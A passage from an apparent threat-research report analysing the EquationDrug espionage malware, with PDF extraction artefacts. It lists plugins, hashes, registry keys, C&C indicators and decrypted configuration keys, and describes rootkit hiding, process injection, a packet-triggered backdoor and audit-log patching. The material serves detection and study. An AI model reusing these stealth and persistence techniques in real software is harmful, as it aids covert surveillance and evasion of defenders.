execution of the user-mode loader "mscfg32.exe". The loader then starts the platform's central module (an orchestrator) from the "mscfg32.dll" module. Additional drivers and libraries may be loaded by different components of the platform, either built-in or auxiliary. Platform Components The EquationDrug platform can be as sophisticated as a space station, but it appears to be of no use without its cyberespionage features. This function is provided by plugin modules that are part of the massive framework described above. We discovered dozens of plugins and each is a sophisticated element that can communicate with the core and become aware of the availability of other plugins. The plugins we discovered probably represent just a fraction of the attackers' potential. Each plugin is assigned a unique plugin ID number (WORD), such as 0x8000, 0x8002, 0x8004, 0x8006, etc. All plugin IDs are even numbers and they all start from byte 0x80. The biggest plugin ID we have seen is 0x80CA. To date, we have found 30 unique plugin IDs in total. Considering the fact that the developers assigned plugin IDs incrementally, and assuming that other plugin IDs were assigned to modules that we have not yet discovered, it's not hard to calculate that 86 modules have yet to be discovered. 86 modules have yet to be discovered #EquationAPT Tweet[10] The most interesting modules we have seen contain the following functionality: Network traf c interception for stealing or re-routing. Reverse DNS resolution (DNS PTR records). Computer management: Start/stop processes Load drivers and libraries Manage les and directories System information gathering: OS version Computer name User name 3 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Locale Keyboard layout Timezone Process list Browsing network resources and enumerating and accessing shares. WMI information gathering. Collection of cached passwords. Enumeration of processes and other system objects. Monitoring LIVE user activity in web browsers. Low-level NTFS lesystem access based on the popular Sleuthkit framework. Monitoring removable storage drives. Passive network backdoor (runs Equation shellcode from raw traf HDD and SSD rmware manipulation. Keylogging and clipboard monitoring. Browser history, cached passwords and form auto- ll data collection. Code Artifacts During our research we paid attention to unique identi ers and codenames used by the developers in the malware. Most of this information is carefully protected with obfuscation or encryption algorithms to prevent quick recognition, but anyone who breaks through this layer of encryption may discover some interesting internal strings, as demonstrated below: [11] [12] Some other interesting text strings include: SkyhookChow Target SkyhookChow Payload Dissecorp Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00 VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00 VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00 STRAITSHOOTER30.ex_ BACKSNARF_AB25 c:\users\rmgree5\co\standalonegrok_2.1.1.1\gk_driver\gk_sa_driver 4 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... To install: run with no arguments Attempting to drop SFCriteria_Check failed! SFDriver Error detected! Uninstalling... Timeout waiting for the "canInstallNow" event from the implant-speci c EXE! Trying to call privilege lib... Hiding directory Hiding plugin... Merging plugin... Merging old plugin key... Couldn't reset canInstallNowEvent! Performing UR-speci c pre-install... Work complete. Merged transport manager state. !!SFCon Some other names, such as kernel object and le names, abbreviations, resource code page and several generic messages, point to English-speaking developers. Due to the limited number of such text strings it's hard to tell reliably if the developers were native English speakers. Link Timestamp Analysis We have gathered a reasonably large number of executable samples to which we have been able to apply link timestamp analysis. A link timestamp is a 4-bytes value stored in an executable le header. This value is automatically set by compiler software when a developer builds a new executable. The value contains a detailed timestamp including minutes and even seconds of compilation time (think of it as the le's moment of birth). [13] Link timestamp analysis require the collection of the timestamps of all available executables, grouping them according to certain criteria, such as the hour or day of the week, and putting them on a chart. Below are some charts built using this approach. [14] 5 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... [15] [16] Can we trust this information? The answer is: not fully, because the link timestamp can be altered by the developer in a way that's not always possible to spot. However, certain indicators such as matching the year on the timestamp with the support of technology popular in that year leads us to believe that the timestamps were, at the very least, not wholly replaced. Looking at this from the other side, the easiest option for the developer is to wipe the timestamp completely, replacing it with zeroes. This was not found in the case of EquationDrug. In fact, the timestamps look very realistic and match the working days and hours of a well-organized software developer from timezone UTC-3 or UTC-4, if you assume that they come to work at 8 or 9 am. The timestamps match the working days of software developer from timezone UTC-3 or UTC-4 #EquationAPT Tweet[17] 6 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... And nally, in case you are wondering if the developers work on public holidays, you can check this for yourself against the full list of their working dates: 2001.08.17 2007.12.11 2009.04.16 2011.10.20 2012.08.31 2013.06.11 2001.08.23 2007.12.17 2009.06.05 2011.10.26 2012.09.28 2013.06.26 2003.08.16 2008.01.01 2009.12.15 2012.03.06 2012.10.23 2013.08.09 2003.08.17 2008.01.23 2010.01.22 2012.03.22 2012.11.02 2013.08.28 2005.03.16 2008.01.24 2010.02.19 2012.04.03 2012.11.06 2013.10.16 2005.09.08 2008.01.29 2010.02.22 2012.04.04 2013.01.08 2013.11.04 2006.06.15 2008.01.30 2010.03.27 2012.04.05 2013.02.07 2013.11.26 2006.09.18 2008.04.24 2010.06.15 2012.04.12 2013.02.21 2013.12.04 2006.10.04 2008.05.07 2011.02.09 2012.07.02 2013.02.22 2013.12.05 2006.10.16 2008.05.09 2011.02.23 2012.07.09 2013.02.27 2013.12.13 2007.07.12 2008.06.17 2011.08.08 2012.07.17 2013.04.16 2007.10.02 2008.09.17 2011.08.30 2012.08.02 2013.05.08 2007.10.16 2008.09.24 2011.09.02 2012.08.03 2013.05.14 2007.12.10 2008.12.05 2011.10.04 2012.08.14 2013.05.24 Conclusions EquationDrug represents the main espionage platform from the Equation Group. It's been in use for over 10 years, replacing EquationLaser until it was replaced itself by the even more sophisticated GrayFish platform. The EquationDrug case demonstrates an interesting trend: a growth in code sophistication #EquationAPT Tweet[18] The EquationDrug case demonstrates an interesting trend that we have been seeing while analyzing supposedly nation-state cyberattack tools: a growth in code sophistication. It is clear that nation-state attackers are looking for better stability, invisibility, reliability and universality in their cyberespionage tools. You can make a basic browser password-stealer or a sniffer within days. However, nation-states are focused on creating frameworks for wrapping such code into something that can be customized on live systems and provide a reliable way to store all components and data in encrypted form, inaccessible to normal users. While traditional cybercriminals mass-distribute emails with malicious attachments or infect websites on a large scale, nation-states create automatic systems infecting only selected users. While traditional cybercriminals typically reuse one malicious le for all victims, nation-states prepare malware unique to each victim and even implement restrictions preventing decryption and execution 7 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... outside of the target computer. Nation-state attackers create automatic systems infecting only selected users #EquationAPT Tweet[19] Sophistication of the framework is what makes this type of actor different from traditional cybercriminals, who prefer to focus on payload and malware capabilities such as implementing a long list of custom third-party software credential database parsers. The difference in tactics between cybercriminals and nation-state attackers appears to be due to relative resource availability. It's known that cybercriminals attempt to infect as many users as possible and that they can sometimes compromise hundreds of thousands of systems. It would will take many years to check all those machines manually, analyzing who owns them, what data is stored on them, and what custom software they run. Cybercriminals probably don't even have enough disk space to collect all the potentially interesting data from the victims hit by their large scale infections. That is why cybercriminals prefer to extract tiny chunks of the most important data (credentials, credit card numbers, etc) on the machine of the victim and transfer only few kilobytes from each compromised host. Such data, when combined from all users, normally takes up gigabytes of disk space. Nation-state attackers have suf cient resources to store as much data as they want. They have access to virtually unlimited data storage. However, they don't need, and often try to avoid, infecting random users, for the obvious reason of avoiding attention and remaining invisible. Implementing custom data format parsers in the malware not only doesn't help them nd all the valuable data on the victim's machine, but may also attract extra attention from security software running on the system. They mostly prefer to have a generic remote system management tool that can copy any information they might need even if it causes some redundancy. However, copying large volumes of information might slow down network connection and attract attention, especially in some countries with poorly developed internet infrastructure. To date, nation-state attackers have had to balance between these two poles: copying victims' entire hard drives while stealing only tiny bits of passwords and keys. Nation-state attackers use a remote system management tool that can copy any information they need #EquationAPT Tweet[20] Now, if you wonder why EquationDrug, a powerful cyberespionage platform, doesn't provide all stealing capability as standard in its malware core, the answer is that they prefer to customize the attack for each one of their victims. Only if they have chosen to actively monitor you and the security products on your machines have been disarmed, will you receive a plugin for the live tracking of your conversations or other speci c functions related to your activities. We believe modularity and customization will become a unique trademark of nation-state attackers in the future. 8 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Some code paths in EquationDrug modules lead to OS version checks including a test for Windows 95, which is accepted as one of supported platforms. While some other checks will not pass on Windows 95, the presence of this code means that this OS was supported in some earlier variants of the malware. Considering this and the existence of components designed to run on Windows 9x (such as VXD- les), as well as compilation timestamps dating back to early 2000s, the hypothesis that these attackers have been active since the 90s seems realistic. This makes the current attacker an outstanding actor operating longer than any other in the eld. Technical Details Kernel mode stage 0 (Windows 9x) - mssvc32.vxd 0a5e9b15014733ee7685d8c8be81fb0d Size 6 710 bytes Format Linear Executable (LE) This VXD driver handles only two control messages: W32_DeviceIoControl and Dynamic_Init. The DeviceIoControl part is not completely implemented and the driver is only able to check for some known control codes. However it does nothing. This handler looks more like a code stub rather than actual payload. On the Dynamic_Init event, the driver retrieves the location of the user-mode loader executable from the following registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] Con If the value is not present in the registry, it uses the following fallback string hardcoded in the binary: C:\WINDOWS\SYSTEM\SVCHOST32.EXE Next, it installs a callback procedure using Windows function _SHELL_CallAtAppyTime. This procedure will be called when CPU is running in ring-3 mode, so that a new executable (loader process) can be started via the traditional way. This is a standard trick that was used by developers in the 90s to initiate a call to DLL export in ring-3 from ring-0 in Windows 9x OS family. Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys 9 of 30 c4f8671c1f00dab30f5f88d684af1927 Size 105 392 bytes 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Format PE32 Native Compiled 2008.01.23 14:12:33 (GMT) Location %System32%\drivers\msndsrv.sys This module can create log les in the following known locations: %systemroot%\system32\mslog32.dat %systemroot%\system32\msperf32.dat (default location) The driver acts as the rst stage of the EquationDrug platform on Windows 2000+ and implements rootkit functions for hiding the components of the platform. Additionally, it implements a NDIS driver for ltering network traf When started and initialized, the driver retrieves the location of the user-mode loader executable from the registry value: [HKLM\System\CurrentControlSet\Services\%driver name%] Con The %driver name% is not hardcoded and is obtained dynamically from the current module name, which means that different instances may check different registry keys and this may not be a reliable way to check for infection. The sample we analyzed used "msndsrv" as the %driver name%. Next, it crafts and injects a shellcode in "services.exe" or "winlogon.exe". The shellcode is designed to spawn the loader process from the executable called "mscfg32.exe". The rootkit code in the driver hooks several Native API functions that lets it hide or protect registry keys, les and running processes. The components of EquationDrug can modify the list of protected objects by sending DeviceIoControl messages to the driver. The driver also maintains a persistent list of protected objects that is stored in the following registry values: [HKLM\System\CurrentControlSet\Services\%driver name%] 1 [HKLM\System\CurrentControlSet\Services\%driver name%] 2 These values are also protected by the rootkit. They can be revealed by booting Windows in Safe Mode. The driver contains the following unused strings: \\.\mailslot\dskInfo Dissecorp User-mode loader - mscfg32.exe, svchost32.exe 10 of 30 c3af66b9ce29efe5ee34e87b6e136e3a 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Size 22 016 bytes Format PE32 EXE Compiled 2008.01.23 14:26:05 (GMT) Location %System32%\mscfg32.exe This module opens a unique event named "D0385CB7-B834-45d1-A501-1A1700E6C34E". If the event exists, it waits for 10 seconds and attempts to open a le whose name can be decrypted as "\\.\MSNDSRV". If the device le is successfully opened, the code issues a device request with IOCTL code 0x80000194 and no parameters. This module uses RC5 in CBC-like mode with a key length of 96-bit for string encryption. Careful analysis reveals some bits of uninitialized memory found next to encryption key locations. This is unused but partly meaningful memory, because it seems to contain short chunks of strings resembling some local lepaths: "rver\8" (probably part of "Server\8..." string) "LInj" (could be a part of "DLLInjector" or similar) It's apparent that some parts of the code were designed to run on Windows 9x, for example a call to RegisterServiceProcess Windows API function makes sense only on Windows 9x OS family, because this API function doesn't exist on Windows NT platform. The module uses a unique algorithm for generating registry value names. The code contains strings, such as "SkyhookChow Target", that are converted to GUID-like strings by calculating SHA1 hash and using its hexadecimal representation as a string. The resulting strings are used as actual registry value names in [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] registry key. Sample registry value names: Original String GUID-like registry value name SkyhookChow Target {B6F5CD13-A74D-8B82-A6AA-6FA1BE2484C1-6832DF06} SkyhookChow Payload {F4CF0326-6DCD-EEC8-5323-01CEDB66741A-B55F6F12} These registry values are encrypted using an RC5 algorithm using a hardcoded 1024-bit key with 24 rounds. The registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {F4CF0326-6DCDEEC8-5323-01CEDB66741A-B55F6F12} ("SkyhookChow Payload") should contain the location of the orchestrator DLL le ("mscfg32.dll"). If the value is not present a default value "%SYSTEM%\mscfg32.dll" is used. 11 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... The registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {B6F5CD13-A74D-8B82A6AA-6FA1BE2484C1-6832DF06} ("SkyhookChow Target") may contain the location of the executable le that will be used as a "shell" process for the orchestrator library. The module attempts to start the "shell" process in suspended mode. If there is no "SkyhookChow Target" value or the speci ed executable fails to start, the module tries different failsafe locations of the programs that can be used instead: 1. Default browser set in the registry [HKLM\SOFTWARE\Clients\StartMenuInternet\{current @default value}\shell\open\command] 2. %SystemRoot%\System32\svchost.exe 3. %SystemRoot%\System32\lsass.exe 4. Spoolsv service binary from the [HKLM\SYSTEM\CurrentControlSet\Services\Spooler] ImagePath registry value. 5. Default html le handler from [HKLM\SOFTWARE\Classes\html le\shell\open\command]registry value. 6. Internet Explorer path from [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\] IEXPLORE.EXE registry value. Next, the module injects extra code into a newly started target process. The injected code loads the payload DLL ("mscfg32.dll") into the target process and waits for the parent process to exit. When the parent process quits, it unloads the payload DLL and exits as well. The rest of the logic relies on the loaded DLL in that new process. See the description of the "mscfg32.dll" module below. The module communicates with the Stage0/Rootkit driver "msndsrv.sys" by sending DeviceIoControl messages to the device "\\.\MSNDSRV". It activates the rootkit for its own process, for the target process holding the orchestrator and for all the les involved. Platform orchestrator - mscfg32.dll, svchost32.dll 5767b9d851d0c24e13eca1bfd16ea424 Size 249 856 bytes Format PE32 DLL Compiled 2008.01.24 22:11:34 (GMT) Location %System%\mscfg32.dll Creates mutex: "01C482BA-BD31-4874-A08B-A93EA5BCE511", or terminates if one already exists. Writes a timestamped log le to one of the following locations: %SystemRoot%\temp\~yh56816.tmp 12 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... C:\Windows\Temp\~yh56816.tmp %Registry_SystemRoot_Value%\temp\~yh56816.tmp Value of [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] D The le "~yh56816.tmp" retains the history of execution. It comprises debug records of simple structure: Stage: DWORD | DateTimeLow: DWORD | DateTimeHigh: DWORD Basically, it logs the execution of every stage of the orchestrator and the time of execution. The Stage is an integer number starting from 1. This module spawns a new thread in the DllMain function which contains the main function body. The procedure disables application error popups shown by the default exception handler. This is probably done only in the "Release" version of the malware, because the following code generates exceptions that are reported to the user if application error popups are not disabled. We assume that the "Debug" version of the code doesn't suppress error popups when exception occurs as this helps with the debugging of the code. The module checks the OS version and if it encounters an unsupported operating system the code generates an exception which terminates the application. The list of OS versions that pass this test: Windows 95/98/ME Windows NT 4.0 and above. If the module runs on Win9x, it executes Win9x-speci c function RegisterServiceProcess to hide from the Windows Task Manager application. If the module is NOT running on WinNT6.0+, it then attempts to open a virtual device le with one of the following names: \\.\MSSVC32 on Win9x \\.\MSNDSRV on WinNT If the device le is successfully opened, the module activates a rootkit for its process and for the location "%SYSTEM%\unilay.dll" local path. This is followed by nding and terminating a process named "winproc.exe" which is the name of another component of the platform. Note that this part of the code is executed only on platforms different from WinNT 6.x (Windows Vista and later). The module was designed to fetch or update its main con guration data from different places. There are some default values set inside the code, such as some timeout values and the following C&Cs: www.waeservices[.]com 213.198.79.49 These default values can be overwritten later. Next, it locates a data section called "Share2" in the current module and veri es the starting magic number. If it is 0x63959700, it then decrypts the rest of the data in the section and interprets it as a 13 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... guration block. However, data from the next location can override all previous settings. This is a registry value with special name. The naming of the registry location is the same GUID-like SHA1 value as the one used in the loader ("mscfg32.exe"), and is produced from the source string "Con guration": [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {42E14DD3F07A-78F1-7659-26AE141569AC-E0B3EE89} The con guration block stored in the registry value is encrypted using RC5 with the 1024-bit key. Both the loader and the orchestrator share the same key for encrypting and decrypting the registry values in the "MemSubSys" key. The decrypted con guration block consists of a series of tagged con guration records in the following format: [RecordType:DWORD][RecordSize: DWORD][RecordValue: %RecordSize%] We retrieved a copy of a con guration block and decrypted and partly interpreted it. We are including the results for one of the con guration blocks: Time value: 1 year 0 months 1 days 22 hours 6 mins 52 secs. The orchestrator is expected to set this to the time of initial con guration. Binaries: 3x1024-bit encryption keys 1b8e7818dad6345c53c2707a2c44648eee700d5cf34fea6a19a3fa0a6a871c72963fdded 91e2703c82b7747b8793e3063700da32cfb8d907dcce1beb36edd575418d1134ef188b 27ec3ce23711a656b0a8bf28921fbf1c39b4c90ad561e4174ed90f26ce11245bb9deb4b 4720403f47ca865ec8bbd3c1df9d93d042ff5b52ec6 05000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 ed04953f3452068ae6439f04c7904c8be5e98e66e2cd0f267d65240aeed88bd4d3c6105 c99950dd42ccde4bc6bbaf9f6cb1b4e628d943e91f8f97f2aff705fdd25e3af6ba0bc4fd13 d67a2bcb751bb8f21f3d4b66c599f3e572802911394d142f8cf3a299d6d4558f9f0f01634 9afd1888472f4f8c729ffe913f670931f1a227 C&C domain: www[dot]waeservices[dot]com C&C IP address: 213.198.79.49 C&C port: 443 Timestamp: 2010-12-08 11:35:57 Tool Reference: VTT/82055898/STEALTHFIGHTER/ 2008-10-16/14:59:06.229-04:00 TimeoutA: 25200 sec (7 hours) TimeoutB: 32400 sec (9 hours) TimeoutC: 3600 sec (1 hour) 14 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... TimeoutD: 172800 sec (48 hours) +Several Unknown Values Other con guration blocks we discovered contained similar information, with only some unique values: Timestamp: 2009-11-23 14:10:15 Tool Reference: Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00 Tool Reference: VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00 Tool Reference: STRAITSHOOTER30.ex_ Tool Reference: VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00 Tool Reference: BACKSNARF_AB25 During the next step, the module obtains PE le version information from the resource section. It loads the version info using hard-coded module names, which are supposed to match the current module name: SVCHOST32.DLL for Windows 9x MSCFG32.DLL for Windows NT le version information is available, it gets language-speci c values of the PrivateBuild block. The codepage and languages that are veri ed: Unicode, LANG_NEUTRAL and LANG_ENGLISH_US. When this check passes, the module gets @default registry value from the following location: [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}] TypeLib If the key is not found, the code checks for registry value TypeLib in the following key: [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}] If such a value is found, it is then deleted along with the Version value if it exists in the same key. The string obtained from one of two possible registry values is processed as if this value is a CLSID-like string: the code takes the last 16 hexadecimal digits, splits them in two 8-chars values, converts them to binary form (two DWORDs) and reverses the order of bytes in each DWORD and XORs, the rst value with 0x8ED400C0, and the second with 0x4FC2C17B. Next, the rst DWORD value becomes second and the second becomes rst. In this order, they are stored in a structure in memory. These two values seem to be very important as they override a few values in the previously known con guration. If they don't exist, values from the current con guration replace them and are stored back in the registry following the reverse procedure: 1. [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\Version] is created and @default value is set to version obtained from le version information PrivateBuild eld (i.e. 3.04.00.0001). This seems to be used as kit version number. 2. [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\Version] is created and @default value is set to a CLSID like string generated from the following: Fixed pre x string: "{8C936AF9-243D-11D0-" Two important DWORD values in the format of "%04X-%04X%08X}" string. 15 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... We collected and decrypted several samples of such values. According to the code, they are initialized with values of the Microsoft letime format. So, we decided to interpret them as letime values: 20101C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 23 hour(s) 32 min(s) 1 sec(s) 81E01C04EC2C17B: 1 year(s) 7 month(s) 8 day(s) 12 hour(s) 13 min(s) 5 sec(s) E0001C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 1 hour(s) 6 min(s) 15 sec(s) 77101C04EC2C17B: 1 year(s) 5 month(s) 20 day(s) 19 hour(s) 15 min(s) 4 sec(s) 30F01C04EC2C17B: 1 year(s) 8 month(s) 0 day(s) 6 hour(s) 10 min(s) 33 sec(s) C0901C04EC2C17B: 1 year(s) 8 month(s) 2 day(s) 6 hour(s) 29 min(s) 39 sec(s) 66701C04EC2C17B: 1 year(s) 6 month(s) 9 day(s) 2 hour(s) 10 min(s) 23 sec(s) F6501C04EC2C17B: 1 year(s) 6 month(s) 6 day(s) 19 hour(s) 53 min(s) 22 sec(s) 01401C04EC2C17B: 1 year(s) 6 month(s) 25 day(s) 23 hour(s) 34 min(s) 13 sec(s) After that, the module stores current time values in encrypted form in the registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {08DAB849-0E1EA1F0-DCF1-457081E091DB-117DB663} (encoded SHA1 of "StartTime") The module contains an additional compressed Windows DLL le in the resource section, which is extracted as "unilay.dll" (see below). This DLL exports a number of functions that are just wrappers of the system API used to work with les and the registry, and also start processes and load additional DLL les. The orchestrator contains several built-in plugins that form the core of the platform. These are initialized in the rst place, and then additional plugins are loaded. All the plugins are indexed in a single encrypted registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] 1 This value has information about all the components of the current kit. It may include Unicode strings with paths to extra DLLs which serve as plugins. Each DLL exports at least four functions which are imported by ordinal numbers from 1 to 4. The structure of the registry value "1": [Count:DWORD]{ [Plugin Id:WORD][Plugin Path Length:DWORD][Plugin Path String:VARIABLE] } Plugins interact with each other and with the orchestrator by exchanging messages of pre-de ned format. The message transport is implemented as a global object that contains four communication streams. Every stream contains a pair of kernel synchronization object handles (a semaphore with xed maximum value defaulted to 1000 and a mutex) and a message queue as an array. A dedicated thread processes messages that appear in the message queues. A message arrives in a parcel, represented as two DWORD values that contain the size of the message and a pointer to the message data. The message data starts with a DWORD identifying a class of message (a 16 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... request, reply, etc). The orchestrator contains the following built-in plugins (listed by internal ID): 8000, 8022, 8024, 803C, 8046, 800A, 8042, 8002, 8004, 8006, 8008, 8070, 808E. Several additional built-in modules have been discovered in newer versions of the orchestrator that was shipped with the GrayFish platform. EquationDrug Plugins: Plugin File name Description 8000 Built-in Core, basic API for other modules 8002 wshcom.dll C&C communication using Windows sockets 8004 Built-in Additional message queue 8006 Built-in Memory allocation / storage 8008 vnetapi32.dll& C&C communication code based on DoubleFantasy, using WinInet API 800A Built-in C&C communication orchestrator 800C perfcom.dll HTTP communication 8022 khlp680w.dll System API: execute processes, load libraries, manipulate les and directories 8024 cmib158w.dll Collects system information: OS version, computer name, user name, locale, keyboard layout, timezone, process lists 8034 cmib456w.dll Management of the VFS backed by encrypted ".FON" les in the "Fonts\Extension" directory. Provides encryption using RC5 for these 803E nls_874w.dll Network sniffer 803C Built-in Communication with the NDIS lter part of "msndsrv.sys" 8040 khlp807w.dll Network exploration API, share enumeration and access 8042 Built-in Compression library based on Nrv2d / UCL 8046 Built-in Communication with the rootkit part of "msndsrv.sys" 8048 mstkpr.dll Disk forensics and direct NTFS reader based on sources of SleuthKit 8050 khlp760w.dll Additional encryption facilities for the le-backed VFS 8058 khlp733w.dll Collects local system information, WMI information, cached passwords 8070 khlp747w.dll Enumerates processes and system objects 807A mscoreep32.dll Plugins for monitoring Internet Explorer and Mozilla browser activities 808A khlp866w.dll Compression library based on Zlib 808E Built-in Reverse (PTR record) DNS resolver 8094 Built-in In-memory storage 17 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... 809C Built-in In-memory storage 80AA nls933w.dll HDD / SSD rmware manipulation 80AE wpl913h.dll Keylogger and clipboard monitoring (aka "GROK") 80BE vnetapi.dll C&C communication via WinHTTP API 80C6 webmgr.dll Extracts web history, Mozilla/Internet Explorer-saved form data and cached credentials 80CA wshapi.dll C&C communications interface via Windows sockets Additional components Unilay.DLL This module provides a compatibility layer for accessing system API functions for Windows 9x. It redirects Unicode ("W") variants of Windows API functions to corresponding ANSI variants by converting Unicode string parameters to multi-byte strings and calling the respective ANSI API. EF4405930E6071AE1F7F6FA7D4F3397D Size 9 728 bytes Compiled 2008.01.23 14:23:10 (GMT) Format PE32 DLL, linker version 6.0 (Microsoft Visual C++ 6.0) Exported functions (redirected to ANSI variants): 100017EF: CopyFileW 10001039: CreateDirectoryW 10001111: CreateFileW 100011B3: CreateProcessW 10001177: DeleteFileW 10001516: FindFirstChangeNoti cationW 10001466: FindFirstFileExW 10001300: FindFirstFileW 100014C6: FindNextFileW 10001564: GetCurrentDirectoryW 1000188F: GetFileAttributesW 100016C6: GetStartupInfoW 10001602: GetSystemDirectoryW 10001664: GetWindowsDirectoryW 10001853: LoadLibraryW 1000178B: MoveFileExW 1000172D: MoveFileW 18 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... 10001913: RegCreateKeyExW 100019F5: RegDeleteKeyW 10001DDF: RegDeleteValueW 10001A39: RegEnumKeyExW 10001BE2: RegEnumValueW 1000199B: RegOpenKeyExW 10001B23: RegQueryInfoKeyW 10001D57: RegSetValueExW 100010D5: RemoveDirectoryW 10001E81: SHGetFileInfoW 100015C6: SetCurrentDirectoryW 100018CB: SetFileAttributesW 10001E23: lstrcmpW Network-sniffer/patcher - atmdkdrv.sys MD5s 8d87a1845122bf090b3d8656dc9d60a8 214f7a2c95bdc265888fbcd24e3587da Size 41 440, 43 840 bytes Format PE32 Native Compiled 2009.04.16 17:19:30 (GMT) 2008.05.07 19:55:14 (GMT) Version Info FileDescription: Network Services LegalCopyright: Copyright (C) Microsoft Corp. 1981-2000 InternalName: atmdkdrv.sys FileDescription: CineMaster C 1.1 WDM Main Driver LegalCopyright: Copyright 1999 RAVISENT Technologies Inc. InternalName: ATMDKDRV.SYS Creates a le storage "\SystemRoot\fonts\vga xa1.fon". Its rst word is set to 0x21 at the beginning of the DriverEntry function, and is replaced with 0x20 at the end of DriverEntry. This driver appears to have been put together in "quick-and-dirty hack" style, using parts of the "mstcp32.sys" sniffer and other unknown drivers. It contains a lot of unused code which is partially broken or disabled. These include a broken "Dynamically disable/enable windows audit logging" subsystem and an incomplete "Patcher mode". There are three algorithms used for strings encryption - RC5; alphabet encryption like the one used in "mstcp32.sys"; and XOR with a pre-seeded random number generator. Decrypted strings are immediately encrypted back until the next usage to avoid in-memory detection. 19 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... The driver's lename and device name differ across the samples. They depend on the name of the registry key that is used to start the driver. The driver may operate in one of two independent modes - as a network sniffer or as a memory patcher. The mode of operation is selected on startup, based on the "Con g2" value of the driver's registry key. By default the driver starts in "sniffer mode". Sniffer mode The sniffer code is similar to the one used in the driver's "tdip.sys" and "mstcp32.sys" and uses NT4 NDIS-4, XP NDIS-5 interfaces, targeting incoming traf c on Ethernet and VPN (ndiswanip) interfaces. It captures only directed packets (containing a destination address equal to the station address of the NIC). Packers- ltering engine rules may be set via DeviceIoControl messages. Filtered packets are stored in-memory until requested. Maximum packets storage list length is 128 items per ltering rule. Patcher mode Almost broken, it does nothing interesting except, possibly, replace the thread's ServiceTable to an unchanged, clear copy taken from the on-disk image of "ntoskrnl.exe". Sniffer only IOCTLs: 44038004 - add ltering rule 44038008 - clear stored packet in speci ltering rules list 4403800C - enable speci ltering rule 44038010 - disable speci ltering rule 44038014 - get stored packet from speci ltering rules list 44038018 - process packet like the one received from the wire ( lter and store) 4403801C - set maximum rules list length 44038020 - get maximum rules list length 80000004 - enablePacketsFiltering 80000008 - disablePacketsFiltering (PauseSniffer) 800024B4 - send packet to the speci ed network interface Common IOCTLs: 80000028 - do nothing (broken/unused part) 80000038 - set external object (broken/unused part) 8000003C - get 4 dwords struct (broken/unused part) 80000040 - copy 260 bytes from the request (broken/unused part) 80000320 - set I/O port mapping (broken/unused part) 80000324 - clear I/O port mapping (broken/unused part) 80000328 - set external PnP Event (broken/unused part) 80000640 - replace speci ed thread's SDT (ETHREAD.ServiceTable eld) to a given copy 20 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/69203/inside-t... Backdoor driven by network sniffer - "mstcp32.sys", "fat32.sys" MD5s 74DE13B5EA68B3DA24ADDC009F84BAEE B2C7339E87C932C491E34CDCD99FEB07 311D4923909E07D5C703235D83BF4479 21C278C88D8F6FAEA64250DF3BFFD7C6 Size 57 328 - 57 760 bytes Format PE32 Native Compiled 2007.10.02 12:42:14 (GMT) 2001.08.17 20:52:04 (GMT) Version Info FileDescription: TCP/IP driver LegalCopyright: Copyright (C) Microsoft Corp. 1981-1999 InternalName: mstcp32.sys This is a sniffer tool similar to "tdip.sys" and it uses NT4 NDIS-4, XP NDIS-5 interfaces. It targets incoming traf c on Ethernet and VPN (ndiswanip) interfaces, but instead of dumb packet dumping, it uses received packets as commands for the "process injector" subsystem that is able to extract and execute code from the specially crafted network packets. Default ltering rules are stored in the "Options" registry value of the driver's registry key. It captures only directed packets (containing a destination address equal to the station address of the NIC). The driver's lename and device name differ across the samples. They depend on the name of the registry key that is used to start the driver. Code Patcher The driver patches OS code to dynamically disable or enable Windows audit logging. It patches the function "LsapAdtWriteLog" in "lsasrv.dll" module of the "lsass.exe" process. It searches for pre-de ned signatures of the function "LsapAdtWriteLog" of known Windows versions 4.0, 5.0, 